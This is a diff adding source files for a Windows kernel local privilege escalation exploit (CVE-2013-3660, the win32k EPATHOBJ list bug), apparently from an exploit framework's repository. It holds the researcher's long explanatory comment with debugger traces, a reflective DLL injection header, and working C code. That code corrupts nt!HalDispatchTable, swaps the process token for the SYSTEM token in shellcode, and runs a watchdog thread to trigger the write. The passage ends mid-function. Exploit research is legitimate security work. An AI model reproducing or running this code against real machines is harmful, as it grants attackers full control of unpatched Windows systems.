+#pragma comment(lib, "user32")
+#pragma comment(lib, "shell32")
+#pragma comment(linker, "/SECTION:.text,ERW")
+
+#ifndef PAGE_SIZE
+# define PAGE_SIZE 0x1000
+#endif
+
+#define MAX_POLYPOINTS (8192 * 3)
+#define MAX_REGIONS 8192
+#define CYCLE_TIMEOUT 10000
+
+static POINT Points[MAX_POLYPOINTS];
+static BYTE PointTypes[MAX_POLYPOINTS];
+static HRGN Regions[MAX_REGIONS];
+static ULONG ComplexPathNumRegion = 0;
+static HANDLE Mutex;
+static DWORD ComplexPathFinished = 0;
+
+// Log levels.
+typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;
+
+BOOL LogMessage(LEVEL Level, PCHAR Format, ...);
+
+// Copied from winddi.h from the DDK
+#define PD_BEGINSUBPATH 0x00000001
+#define PD_ENDSUBPATH 0x00000002
+#define PD_RESETSTYLE 0x00000004
+#define PD_CLOSEFIGURE 0x00000008
+#define PD_BEZIERS 0x00000010
+
+typedef struct _POINTFIX
+{
+ ULONG x;
+ ULONG y;
+} POINTFIX, *PPOINTFIX;
+
+// Approximated from reverse engineering.
+typedef struct _PATHRECORD {
+ struct _PATHRECORD *next;
+ struct _PATHRECORD *prev;
+ ULONG flags;
+ ULONG count;
+ POINTFIX points[4];
+} PATHRECORD, *PPATHRECORD;
+
+PPATHRECORD PathRecord;
+PATHRECORD ExploitRecord;
+PPATHRECORD ExploitRecordExit;
+
+enum { SystemModuleInformation = 11 };
+enum { ProfileTotalIssues = 2 };
+
+typedef struct _RTL_PROCESS_MODULE_INFORMATION {
+ HANDLE Section;
+ PVOID MappedBase;
+ PVOID ImageBase;
+ ULONG ImageSize;
+ ULONG Flags;
+ USHORT LoadOrderIndex;
+ USHORT InitOrderIndex;
+ USHORT LoadCount;
+ USHORT OffsetToFileName;
+ UCHAR FullPathName[256];
+} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;
+
+typedef struct _RTL_PROCESS_MODULES {
+ ULONG NumberOfModules;
+ RTL_PROCESS_MODULE_INFORMATION Modules[1];
+} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;
+
+FARPROC NtQuerySystemInformation;
+FARPROC NtQueryIntervalProfile;
+FARPROC PsReferencePrimaryToken;
+FARPROC PsLookupProcessByProcessId;
+PULONG HalDispatchTable;
+ULONG HalQuerySystemInformation;
+PULONG TargetPid;
+PVOID *PsInitialSystemProcess;
+
+VOID elevator_complex_path();
+
+//#define DEBUGTRACE 1
+
+#ifdef DEBUGTRACE
+#define dprintf(...) real_dprintf(__VA_ARGS__)
+#else
+#define dprintf(...) do{}while(0);
+#endif
+
+static void real_dprintf(char *format, ...) {
+ va_list args;
+ char buffer[1024];
+ va_start(args,format);
+ vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format,args);
+ strcat_s(buffer, sizeof(buffer), "\r\n");
+ OutputDebugStringA(buffer);
+}
\ No newline at end of file
diff --git a/external/source/exploits/cve-2013-3660/dll/src/ReflectiveDLLInjection.h b/external/source/exploits/cve-2013-3660/dll/src/ReflectiveDLLInjection.h
new file mode 100755
index 0000000000..5738497f5b
--- /dev/null
+++ b/external/source/exploits/cve-2013-3660/dll/src/ReflectiveDLLInjection.h
@@ -0,0 +1,51 @@
+//===============================================================================================//
+// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without modification, are permitted
+// provided that the following conditions are met:
+//
+// * Redistributions of source code must retain the above copyright notice, this list of
+// conditions and the following disclaimer.
+//
+// * Redistributions in binary form must reproduce the above copyright notice, this list of
+// conditions and the following disclaimer in the documentation and/or other materials provided
+// with the distribution.
+//
+// * Neither the name of Harmony Security nor the names of its contributors may be used to
+// endorse or promote products derived from this software without specific prior written permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
+// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
+// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+// POSSIBILITY OF SUCH DAMAGE.
+//===============================================================================================//
+#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
+#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
+//===============================================================================================//
+#define WIN32_LEAN_AND_MEAN
+#include
+
+// we declare some common stuff in here...
+
+#define DLL_QUERY_HMODULE 6
+
+#define DEREF( name )*(UINT_PTR *)(name)
+#define DEREF_64( name )*(DWORD64 *)(name)
+#define DEREF_32( name )*(DWORD *)(name)
+#define DEREF_16( name )*(WORD *)(name)
+#define DEREF_8( name )*(BYTE *)(name)
+
+typedef DWORD (WINAPI * REFLECTIVELOADER)( VOID );
+typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID );
+
+#define DLLEXPORT __declspec( dllexport )
+
+//===============================================================================================//
+#endif
+//===============================================================================================//
diff --git a/external/source/exploits/cve-2013-3660/dll/src/ReflectiveDll.c b/external/source/exploits/cve-2013-3660/dll/src/ReflectiveDll.c
new file mode 100755
index 0000000000..547fd1fd85
--- /dev/null
+++ b/external/source/exploits/cve-2013-3660/dll/src/ReflectiveDll.c
@@ -0,0 +1,801 @@
+//===============================================================================================//
+// This is a stub for the actuall functionality of the DLL.
+//===============================================================================================//
+
+// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are
+// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own
+// DllMain and use the LoadRemoteLibraryR() API to inject this DLL.
+//===============================================================================================//
+
+#include "ReflectiveLoader.h"
+#include "ComplexPath.h"
+
+//
+// --------------------------------------------------
+// Windows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit
+// ----------------------------------------- taviso@cmpxchg8b.com -----
+//
+// INTRODUCTION
+//
+// There's a pretty obvious bug in win32k!EPATHOBJ::pprFlattenRec where the
+// PATHREC object returned by win32k!EPATHOBJ::newpathrec doesn't initialise the
+// next list pointer. The bug is really nice, but exploitation when
+// allocations start failing is tricky.
+//
+// ; BOOL __thiscall EPATHOBJ::newpathrec(EPATHOBJ *this,
+// PATHRECORD **pppr,
+// ULONG *pcMax,
+// ULONG cNeeded)
+// .text:BFA122CA mov esi, [ebp+ppr]
+// .text:BFA122CD mov eax, [esi+PATHRECORD.pprPrev]
+// .text:BFA122D0 push edi
+// .text:BFA122D1 mov edi, [ebp+pprNew]
+// .text:BFA122D4 mov [edi+PATHRECORD.pprPrev], eax
+// .text:BFA122D7 lea eax, [edi+PATHRECORD.count]
+// .text:BFA122DA xor edx, edx
+// .text:BFA122DC mov [eax], edx
+// .text:BFA122DE mov ecx, [esi+PATHRECORD.flags]
+// .text:BFA122E1 and ecx, not (PD_BEZIER)
+// .text:BFA122E4 mov [edi+PATHRECORD.flags], ecx
+// .text:BFA122E7 mov [ebp+pprNewCountPtr], eax
+// .text:BFA122EA cmp [edi+PATHRECORD.pprPrev], edx
+// .text:BFA122ED jnz short loc_BFA122F7
+// .text:BFA122EF mov ecx, [ebx+EPATHOBJ.ppath]
+// .text:BFA122F2 mov [ecx+PATHOBJ.pprfirst], edi
+//
+// It turns out this mostly works because newpathrec() is backed by newpathalloc()
+// which uses PALLOCMEM(). PALLOCMEM() will always zero the buffer returned.
+//
+// ; PVOID __stdcall PALLOCMEM(size_t size, int tag)
+// .text:BF9160D7 xor esi, esi
+// .text:BF9160DE push esi
+// .text:BF9160DF push esi
+// .text:BF9160E0 push [ebp+tag]
+// .text:BF9160E3 push [ebp+size]
+// .text:BF9160E6 call _HeavyAllocPool@16 ; HeavyAllocPool(x,x,x,x)
+// .text:BF9160EB mov esi, eax
+// .text:BF9160ED test esi, esi
+// .text:BF9160EF jz short loc_BF9160FF
+// .text:BF9160F1 push [ebp+size] ; size_t
+// .text:BF9160F4 push 0 ; int
+// .text:BF9160F6 push esi ; void *
+// .text:BF9160F7 call _memset
+//
+// However, the PATHALLOC allocator includes it's own freelist implementation, and
+// if that codepath can satisfy a request the memory isn't zeroed and returned
+// directly to the caller. This effectively means that we can add our own objects
+// to the PATHRECORD chain.
+//
+// We can force this behaviour under memory pressure relatively easily, I just
+// spam HRGN objects until they start failing. This isn't super reliable, but it's
+// good enough for testing.
+//
+// // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on
+// // failure. Seriously, do some damn QA Microsoft, wtf.
+// for (Size = 1 << 26; Size; Size >>= 1) {
+// while (CreateRoundRectRgn(0, 0, 1, Size, 1, 1))
+// ;
+// }
+//
+// Adding user controlled blocks to the freelist is a little trickier, but I've
+// found that flattening large lists of bezier curves added with PolyDraw() can
+// accomplish this reliably. The code to do this is something along the lines of:
+//
+// for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
+// Points[PointNum].x = 0x41414141 >> 4;
+// Points[PointNum].y = 0x41414141 >> 4;
+// PointTypes[PointNum] = PT_BEZIERTO;
+// }
+//
+// for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) {
+// BeginPath(Device);
+// PolyDraw(Device, Points, PointTypes, PointNum);
+// EndPath(Device);
+// FlattenPath(Device);
+// FlattenPath(Device);
+// EndPath(Device);
+// }
+//
+// We can verify this is working by putting a breakpoint after newpathrec, and
+// verifying the buffer is filled with recognisable values when it returns:
+//
+// kd> u win32k!EPATHOBJ::pprFlattenRec+1E
+// win32k!EPATHOBJ::pprFlattenRec+0x1e:
+// 95c922b8 e8acfbffff call win32k!EPATHOBJ::newpathrec (95c91e69)
+// 95c922bd 83f801 cmp eax,1
+// 95c922c0 7407 je win32k!EPATHOBJ::pprFlattenRec+0x2f (95c922c9)
+// 95c922c2 33c0 xor eax,eax
+// 95c922c4 e944020000 jmp win32k!EPATHOBJ::pprFlattenRec+0x273 (95c9250d)
+// 95c922c9 56 push esi
+// 95c922ca 8b7508 mov esi,dword ptr [ebp+8]
+// 95c922cd 8b4604 mov eax,dword ptr [esi+4]
+// kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+23 "dd poi(ebp-4) L1; gc"
+// kd> g
+// fe938fac 41414140
+// fe938fac 41414140
+// fe938fac 41414140
+// fe938fac 41414140
+// fe938fac 41414140
+//
+// The breakpoint dumps the first dword of the returned buffer, which matches the
+// bezier points set with PolyDraw(). So convincing pprFlattenRec() to move
+// EPATHOBJ->records->head->next->next into userspace is no problem, and we can
+// easily break the list traversal in bFlattten():
+//
+// BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this)
+// {
+// EPATHOBJ *pathobj; // esi@1
+// PATHOBJ *ppath; // eax@1
+// BOOL result; // eax@2
+// PATHRECORD *ppr; // eax@3
+//
+// pathobj = this;
+// ppath = this->ppath;
+// if ( ppath )
+// {
+// for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext )
+// {
+// if ( ppr->flags & PD_BEZIER )
+// {
+// ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr);
+// if ( !ppr )
+// goto LABEL_2;
+// }
+// }
+// pathobj->fl &= 0xFFFFFFFE;
+// result = 1;
+// }
+// else
+// {
+// LABEL_2:
+// result = 0;
+// }
+// return result;
+// }
+//
+// All we have to do is allocate our own PATHRECORD structure, and then spam
+// PolyDraw() with POINTFIX structures containing co-ordinates that are actually
+// pointers shifted right by 4 (for this reason the structure must be aligned so
+// the bits shifted out are all zero).
+//
+// We can see this in action by putting a breakpoint in bFlatten when ppr has
+// moved into userspace:
+//
+// kd> u win32k!EPATHOBJ::bFlatten
+// win32k!EPATHOBJ::bFlatten:
+// 95c92517 8bff mov edi,edi
+// 95c92519 56 push esi
+// 95c9251a 8bf1 mov esi,ecx
+// 95c9251c 8b4608 mov eax,dword ptr [esi+8]
+// 95c9251f 85c0 test eax,eax
+// 95c92521 7504 jne win32k!EPATHOBJ::bFlatten+0x10 (95c92527)
+// 95c92523 33c0 xor eax,eax
+// 95c92525 5e pop esi
+// kd> u
+// win32k!EPATHOBJ::bFlatten+0xf:
+// 95c92526 c3 ret
+// 95c92527 8b4014 mov eax,dword ptr [eax+14h]
+// 95c9252a eb14 jmp win32k!EPATHOBJ::bFlatten+0x29 (95c92540)
+// 95c9252c f6400810 test byte ptr [eax+8],10h
+// 95c92530 740c je win32k!EPATHOBJ::bFlatten+0x27 (95c9253e)
+// 95c92532 50 push eax
+// 95c92533 8bce mov ecx,esi
+// 95c92535 e860fdffff call win32k!EPATHOBJ::pprFlattenRec (95c9229a)
+//
+// So at 95c9252c eax is ppr->next, and the routine checks for the PD_BEZIERS
+// flags (defined in winddi.h). Let's break if it's in userspace:
+//
+// kd> ba e 1 95c9252c "j (eax < poi(nt!MmUserProbeAddress)) 'gc'; ''"
+// kd> g
+// 95c9252c f6400810 test byte ptr [eax+8],10h
+// kd> r
+// eax=41414140 ebx=95c1017e ecx=97330bec edx=00000001 esi=97330bec edi=0701062d
+// eip=95c9252c esp=97330be4 ebp=97330c28 iopl=0 nv up ei pl nz na po nc
+// cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202
+// win32k!EPATHOBJ::bFlatten+0x15:
+// 95c9252c f6400810 test byte ptr [eax+8],10h ds:0023:41414148=??
+//
+// The question is how to turn that into code execution? It's obviously trivial to
+// call prFlattenRec with our userspace PATHRECORD..we can do that by setting
+// PD_BEZIER in our userspace PATHRECORD, but the early exit on allocation failure
+// poses a problem.
+//
+// Let me demonstrate calling it with my own PATHRECORD:
+//
+// // Create our PATHRECORD in userspace we will get added to the EPATHOBJ
+// // pathrecord chain.
+// PathRecord = VirtualAlloc(NULL,
+// sizeof(PATHRECORD),
+// MEM_COMMIT | MEM_RESERVE,
+// PAGE_EXECUTE_READWRITE);
+//
+// // Initialise with recognisable debugging values.
+// FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);
+//
+// PathRecord->next = (PVOID)(0x41414141);
+// PathRecord->prev = (PVOID)(0x42424242);
+//
+// // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from
+// // EPATHOBJ::bFlatten(), do that here.
+// PathRecord->flags = PD_BEZIERS;
+//
+// // Generate a large number of Bezier Curves made up of pointers to our
+// // PATHRECORD object.
+// for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
+// Points[PointNum].x = (ULONG)(PathRecord) >> 4;
+// Points[PointNum].y = (ULONG)(PathRecord) >> 4;
+// PointTypes[PointNum] = PT_BEZIERTO;
+// }
+//
+// kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+28 "j (dwo(ebp+8) < dwo(nt!MmUserProbeAddress)) ''; 'gc'"
+// kd> g
+// win32k!EPATHOBJ::pprFlattenRec+0x28:
+// 95c922c2 33c0 xor eax,eax
+// kd> dd ebp+8 L1
+// a3633be0 00130000
+//
+// The ppr object is in userspace! If we peek at it:
+//
+// kd> dd poi(ebp+8)
+// 00130000 41414141 42424242 00000010 cccccccc
+// 00130010 00000000 00000000 00000000 00000000
+// 00130020 00000000 00000000 00000000 00000000
+// 00130030 00000000 00000000 00000000 00000000
+// 00130040 00000000 00000000 00000000 00000000
+// 00130050 00000000 00000000 00000000 00000000
+// 00130060 00000000 00000000 00000000 00000000
+// 00130070 00000000 00000000 00000000 00000000
+//
+// There's the next and prev pointer.
+//
+// kd> kvn
+// # ChildEBP RetAddr Args to Child
+// 00 a3633bd8 95c9253a 00130000 002bfea0 95c101ce win32k!EPATHOBJ::pprFlattenRec+0x28 (FPO: [Non-Fpo])
+// 01 a3633be4 95c101ce 00000001 00000294 fe763360 win32k!EPATHOBJ::bFlatten+0x23 (FPO: [0,0,4])
+// 02 a3633c28 829ab173 0701062d 002bfea8 7721a364 win32k!NtGdiFlattenPath+0x50 (FPO: [Non-Fpo])
+// 03 a3633c28 7721a364 0701062d 002bfea8 7721a364 nt!KiFastCallEntry+0x163 (FPO: [0,3] TrapFrame @ a3633c34)
+//
+// The question is how to get PATHALLOC() to succeed under memory pressure so we
+// can make this exploitable? I'm quite proud of this list cycle trick,
+// here's how to turn it into an arbitrary write.
+//
+// First, we create a watchdog thread that will patch the list atomically
+// when we're ready. This is needed because we can't exploit the bug while
+// HeavyAllocPool is failing, because of the early exit in pprFlattenRec:
+//
+// .text:BFA122B8 call newpathrec ; EPATHOBJ::newpathrec(_PATHRECORD * *,ulong *,ulong)
+// .text:BFA122BD cmp eax, 1 ; Check for failure
+// .text:BFA122C0 jz short continue
+// .text:BFA122C2 xor eax, eax ; Exit early
+// .text:BFA122C4 jmp early_exit
+//
+// So we create a list node like this:
+//
+// PathRecord->Next = PathRecord;
+// PathRecord->Flags = 0;
+//
+// Then EPATHOBJ::bFlatten() spins forever doing nothing:
+//
+// BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this)
+// {
+// /* ... */
+//
+// for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext )
+// {
+// if ( ppr->flags & PD_BEZIER )
+// {
+// ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr);
+// }
+// }
+//
+// /* ... */
+// }
+//
+// While it's spinning, we clean up in another thread, then patch the thread (we
+// can do this, because it's now in userspace) to trigger the exploit. The first
+// block of pprFlattenRec does something like this:
+//
+// if ( pprNew->pprPrev )
+// pprNew->pprPrev->pprnext = pprNew;
+//
+// Let's make that write to 0xCCCCCCCC.
+//
+// DWORD WINAPI WatchdogThread(LPVOID Parameter)
+// {
+//
+// // This routine waits for a mutex object to timeout, then patches the
+// // compromised linked list to point to an exploit. We need to do this.
+// LogMessage(L_INFO, "Watchdog thread %u waiting on Mutex@%p",
+// GetCurrentThreadId(),
+// Mutex);
+//
+// if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) {
+// // It looks like the main thread is stuck in a call to FlattenPath(),
+// // because the kernel is spinning in EPATHOBJ::bFlatten(). We can clean
+// // up, and then patch the list to trigger our exploit.
+// while (NumRegion--)
+// DeleteObject(Regions[NumRegion]);
+//
+// LogMessage(L_ERROR, "InterlockedExchange(%p, %p);", &PathRecord->next, &ExploitRecord);
+//
+// InterlockedExchangePointer(&PathRecord->next, &ExploitRecord);
+//
+// } else {
+// LogMessage(L_ERROR, "Mutex object did not timeout, list not patched");
+// }
+//
+// return 0;
+// }
+//
+// PathRecord->next = PathRecord;
+// PathRecord->prev = (PVOID)(0x42424242);
+// PathRecord->flags = 0;
+//
+// ExploitRecord.next = NULL;
+// ExploitRecord.prev = 0xCCCCCCCC;
+// ExploitRecord.flags = PD_BEZIERS;
+//
+// Here's the output on Windows 8:
+//
+// kd> g
+// *******************************************************************************
+// * *
+// * Bugcheck Analysis *
+// * *
+// *******************************************************************************
+//
+// Use !analyze -v to get detailed debugging information.
+//
+// BugCheck 50, {cccccccc, 1, 8f18972e, 2}
+// *** WARNING: Unable to verify checksum for ComplexPath.exe
+// *** ERROR: Module load completed but symbols could not be loaded for ComplexPath.exe
+// Probably caused by : win32k.sys ( win32k!EPATHOBJ::pprFlattenRec+82 )
+//
+// Followup: MachineOwner
+// ---------
+//
+// nt!RtlpBreakWithStatusInstruction:
+// 810f46f4 cc int 3
+// kd> kv
+// ChildEBP RetAddr Args to Child
+// a03ab494 8111c87d 00000003 c17b60e1 cccccccc nt!RtlpBreakWithStatusInstruction (FPO: [1,0,0])
+// a03ab4e4 8111c119 00000003 817d5340 a03ab8e4 nt!KiBugCheckDebugBreak+0x1c (FPO: [Non-Fpo])
+// a03ab8b8 810f30ba 00000050 cccccccc 00000001 nt!KeBugCheck2+0x655 (FPO: [6,239,4])
+// a03ab8dc 810f2ff1 00000050 cccccccc 00000001 nt!KiBugCheck2+0xc6
+// a03ab8fc 811a2816 00000050 cccccccc 00000001 nt!KeBugCheckEx+0x19
+// a03ab94c 810896cf 00000001 cccccccc a03aba2c nt! ?? ::FNODOBFM::`string'+0x31868
+// a03aba14 8116c4e4 00000001 cccccccc 00000000 nt!MmAccessFault+0x42d (FPO: [4,37,4])
+// a03aba14 8f18972e 00000001 cccccccc 00000000 nt!KiTrap0E+0xdc (FPO: [0,0] TrapFrame @ a03aba2c)
+// a03abbac 8f103c28 0124eba0 a03abbd8 8f248f79 win32k!EPATHOBJ::pprFlattenRec+0x82 (FPO: [Non-Fpo])
+// a03abbb8 8f248f79 1c010779 0016fd04 8f248f18 win32k!EPATHOBJ::bFlatten+0x1f (FPO: [0,1,0])
+// a03abc08 8116918c 1c010779 0016fd18 776d7174 win32k!NtGdiFlattenPath+0x61 (FPO: [1,15,4])
+// a03abc08 776d7174 1c010779 0016fd18 776d7174 nt!KiFastCallEntry+0x12c (FPO: [0,3] TrapFrame @ a03abc14)
+// 0016fcf4 76b1552b 0124147f 1c010779 00000040 ntdll!KiFastSystemCallRet (FPO: [0,0,0])
+// 0016fcf8 0124147f 1c010779 00000040 00000000 GDI32!NtGdiFlattenPath+0xa (FPO: [1,0,0])
+// WARNING: Stack unwind information not available. Following frames may be wrong.
+// 0016fd18 01241ade 00000001 00202b50 00202ec8 ComplexPath+0x147f
+// 0016fd60 76ee1866 7f0de000 0016fdb0 77716911 ComplexPath+0x1ade
+// 0016fd6c 77716911 7f0de000 bc1d7832 00000000 KERNEL32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])
+// 0016fdb0 777168bd ffffffff 7778560a 00000000 ntdll!__RtlUserThreadStart+0x4a (FPO: [SEH])
+// 0016fdc0 00000000 01241b5b 7f0de000 00000000 ntdll!_RtlUserThreadStart+0x1c (FPO: [Non-Fpo])
+// kd> .trap a03aba2c
+// ErrCode = 00000002
+// eax=cccccccc ebx=80206014 ecx=80206008 edx=85ae1224 esi=0124eba0 edi=a03abbd8
+// eip=8f18972e esp=a03abaa0 ebp=a03abbac iopl=0 nv up ei ng nz na pe nc
+// cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010286
+// win32k!EPATHOBJ::pprFlattenRec+0x82:
+// 8f18972e 8918 mov dword ptr [eax],ebx ds:0023:cccccccc=????????
+// kd> vertarget
+// Windows 8 Kernel Version 9200 MP (1 procs) Free x86 compatible
+// Product: WinNt, suite: TerminalServer SingleUserTS
+// Built by: 9200.16581.x86fre.win8_gdr.130410-1505
+// Machine Name:
+// Kernel base = 0x81010000 PsLoadedModuleList = 0x811fde48
+// Debug session time: Mon May 20 14:17:20.259 2013 (UTC - 7:00)
+// System Uptime: 0 days 0:02:30.432
+// kd> .bugcheck
+// Bugcheck code 00000050
+// Arguments cccccccc 00000001 8f18972e 00000002
+//
+// EXPLOITATION
+//
+// We're somewhat limited with what we can do, as we don't control what's
+// written, it's always a pointer to a PATHRECORD object. We can clobber a
+// function pointer, but the problem is making it point somewhere useful.
+//
+// The solution is to make the Next pointer a valid sequence of instructions,
+// which jumps to our second stage payload. We have to do that in just 4 bytes
+// (unless you can find a better call site, let me know if you spot one).
+//
+// Thanks to progmboy for coming up with the solution: you reach back up the
+// stack and pull a SystemCall parameter out of the stack. It turns out
+// NtQueryIntervalProfile matches this requirement perfectly.
+//
+// INSTRUCTIONS
+//
+// C:\> cl ComplexPath.c
+// C:\> ComplexPath
+//
+// You might need to run it several times before we get the allocation we need,
+// it won't crash if it doesn't work, so you can keep trying. I'm not sure how
+// to improve that.
+//
+// CREDIT
+//
+// Tavis Ormandy
+// progmboy
+//
+
+#ifndef _NTDEF_
+typedef __success(return >= 0) LONG NTSTATUS;
+typedef NTSTATUS *PNTSTATUS;
+#endif
+
+// Search the specified data structure for a member with CurrentValue.
+BOOL FindAndReplaceMember(PDWORD Structure,
+ DWORD CurrentValue,
+ DWORD NewValue,
+ DWORD MaxSize)
+{
+ DWORD i, Mask;
+
+ // Microsoft QWORD aligns object pointers, then uses the lower three
+ // bits for quick reference counting.
+ Mask = ~7;
+
+ // Mask out the reference count.
+ CurrentValue &= Mask;
+
+ // Scan the structure for any occurrence of CurrentValue.
+ for (i = 0; i < MaxSize; i++) {
+ if ((Structure[i] & Mask) == CurrentValue) {
+ // And finally, replace it with NewValue.
+ Structure[i] = NewValue;
+ return TRUE;
+ }
+ }
+
+ // Member not found.
+ return FALSE;
+}
+
+
+// This routine is injected into nt!HalDispatchTable by EPATHOBJ::pprFlattenRec.
+ULONG __stdcall ShellCode(DWORD Arg1, DWORD Arg2, DWORD Arg3, DWORD Arg4)
+{
+ PVOID TargetProcess;
+
+ // Record that the exploit completed.
+ ComplexPathFinished = 1;
+
+ // Fix the corrupted HalDispatchTable,
+ HalDispatchTable[1] = HalQuerySystemInformation;
+
+ // Find the EPROCESS structure for the process I want to escalate
+ if (PsLookupProcessByProcessId(TargetPid, &TargetProcess) == STATUS_SUCCESS) {
+ PACCESS_TOKEN SystemToken;
+ PACCESS_TOKEN TargetToken;
+
+ // Find the Token object for my target process, and the SYSTEM process.
+ TargetToken = (PACCESS_TOKEN) PsReferencePrimaryToken(TargetProcess);
+ SystemToken = (PACCESS_TOKEN) PsReferencePrimaryToken(*PsInitialSystemProcess);
+
+ // Find the token in the target process, and replace with the system token.
+ FindAndReplaceMember((PDWORD) TargetProcess,
+ (DWORD) TargetToken,
+ (DWORD) SystemToken,
+ 0x200);
+ }
+
+ return 0;
+}
+
+DWORD WINAPI WatchdogThread(LPVOID Parameter)
+{
+ // Here we wait for the main thread to get stuck inside FlattenPath().
+ WaitForSingleObject(Mutex, CYCLE_TIMEOUT);
+
+ // It looks like we've taken control of the list, and the main thread
+ // is spinning in EPATHOBJ::bFlatten. We can't continue because
+ // EPATHOBJ::pprFlattenRec exit's immediately if newpathrec() fails.
+
+ // So first, we clean up and make sure it can allocate memory.
+ while (ComplexPathNumRegion) DeleteObject(Regions[--ComplexPathNumRegion]);
+
+ // Now we switch out the Next pointer for our exploit record. As soon
+ // as this completes, the main thread will stop spinning and continue
+ // into EPATHOBJ::pprFlattenRec.
+ InterlockedExchangePointer(&PathRecord->next,
+ &ExploitRecord);
+ return 0;
+}
+
+// I use this routine to generate a table of acceptable stub addresses. The
+// 0x40 offset is the location of the PULONG parameter to
+// nt!NtQueryIntervalProfile. Credit to progmboy for coming up with this clever
+// trick.
+VOID __declspec(naked) HalDispatchRedirect(VOID)
+{
+ __asm inc eax
+ __asm jmp dword ptr [ebp+0x40]; // 0
+ __asm inc ecx
+ __asm jmp dword ptr [ebp+0x40]; // 1
+ __asm inc edx
+ __asm jmp dword ptr [ebp+0x40]; // 2
+ __asm inc ebx
+ __asm jmp dword ptr [ebp+0x40]; // 3
+ __asm inc esi
+ __asm jmp dword ptr [ebp+0x40]; // 4
+ __asm inc edi
+ __asm jmp dword ptr [ebp+0x40]; // 5
+ __asm dec eax
+ __asm jmp dword ptr [ebp+0x40]; // 6
+ __asm dec ecx
+ __asm jmp dword ptr [ebp+0x40]; // 7
+ __asm dec edx
+ __asm jmp dword ptr [ebp+0x40]; // 8
+ __asm dec ebx
+ __asm jmp dword ptr [ebp+0x40]; // 9
+ __asm dec esi
+ __asm jmp dword ptr [ebp+0x40]; // 10
+ __asm dec edi
+ __asm jmp dword ptr [ebp+0x40]; // 11
+
+ // Mark end of table.
+ __asm {
+ _emit 0
+ _emit 0
+ _emit 0
+ _emit 0
+ }
+}
+
+VOID elevator_complex_path()
+{
+ HANDLE Thread;
+ HDC Device;
+ ULONG Size;
+ ULONG PointNum;
+ HMODULE KernelHandle;
+ PULONG DispatchRedirect;
+ PULONG Interval;
+ ULONG SavedInterval;
+ RTL_PROCESS_MODULES ModuleInfo;
+
+ LogMessage(L_INFO, "\r--------------------------------------------------\n"
+ "\rWindows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit\n"
+ "\r------------------- taviso@cmpxchg8b.com, programmeboy@gmail.com ---\n"
+ "\n");
+ NtQueryIntervalProfile = GetProcAddress(GetModuleHandle("ntdll"), "NtQueryIntervalProfile");
+ NtQuerySystemInformation = GetProcAddress(GetModuleHandle("ntdll"), "NtQuerySystemInformation");
+ Mutex = CreateMutex(NULL, FALSE, NULL);
+ DispatchRedirect = (PVOID) HalDispatchRedirect;
+ Interval = (PULONG) ShellCode;
+ SavedInterval = Interval[0];
+ //TargetPid = (PULONG)2032;
+ TargetPid = (PULONG)GetCurrentProcessId();
+
+ LogMessage(L_INFO, "NtQueryIntervalProfile@%p", NtQueryIntervalProfile);
+ LogMessage(L_INFO, "NtQuerySystemInformation@%p", NtQuerySystemInformation);
+
+ // Lookup the address of system modules.
+ NtQuerySystemInformation(SystemModuleInformation,
+ &ModuleInfo,
+ sizeof ModuleInfo,
+ NULL);
+
+ LogMessage(L_DEBUG, "NtQuerySystemInformation() => %s@%p",
+ ModuleInfo.Modules[0].FullPathName,
+ ModuleInfo.Modules[0].ImageBase);
+
+ // Lookup some system routines we require.
+ KernelHandle = LoadLibrary(ModuleInfo.Modules[0].FullPathName + ModuleInfo.Modules[0].OffsetToFileName);
